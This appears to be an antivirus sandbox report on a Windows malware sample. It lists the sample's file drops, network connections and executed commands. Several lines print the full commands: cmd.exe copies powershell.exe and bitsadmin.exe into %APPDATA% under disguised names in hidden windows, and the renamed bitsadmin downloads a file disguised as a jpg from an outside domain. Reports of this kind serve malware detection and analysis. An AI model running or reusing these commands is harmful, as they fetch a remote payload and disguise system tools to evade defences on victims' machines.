Technical Information
Malicious functions
Creates and executes the following
- '%APPDATA%\awnda.exe' /transfer BnJUZd /download https://elyalconsult.com/consora/03750710109/1x1.jpg %APPDATA%\1x1.jpg
Modifies file system
Creates the following files
- %APPDATA%\pawnda.exe
- %APPDATA%\awnda.exe
Network activity
Connects to
- 'el####onsult.com':443
UDP
- DNS ASK el####onsult.com
Miscellaneous
Creates and executes the following
- '<SYSTEM32>\cmd.exe' /c copy /Z %WINDIR%\SysWOW64\WindowsPowerShell\v1.0\powershell.exe %APPDATA%\pAwNda.exe' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c copy /Z %WINDIR%\SysWOW64\bitsadmin.exe %APPDATA%\AwNda.exe' (with hidden window)
- '%APPDATA%\awnda.exe' /transfer BnJUZd /download https://elyalconsult.com/consora/03750710109/1x1.jpg %APPDATA%\1x1.jpg' (with hidden window)
Executes the following
- '<SYSTEM32>\cmd.exe' /c copy /Z %WINDIR%\SysWOW64\WindowsPowerShell\v1.0\powershell.exe %APPDATA%\pAwNda.exe
- '<SYSTEM32>\cmd.exe' /c copy /Z %WINDIR%\SysWOW64\bitsadmin.exe %APPDATA%\AwNda.exe
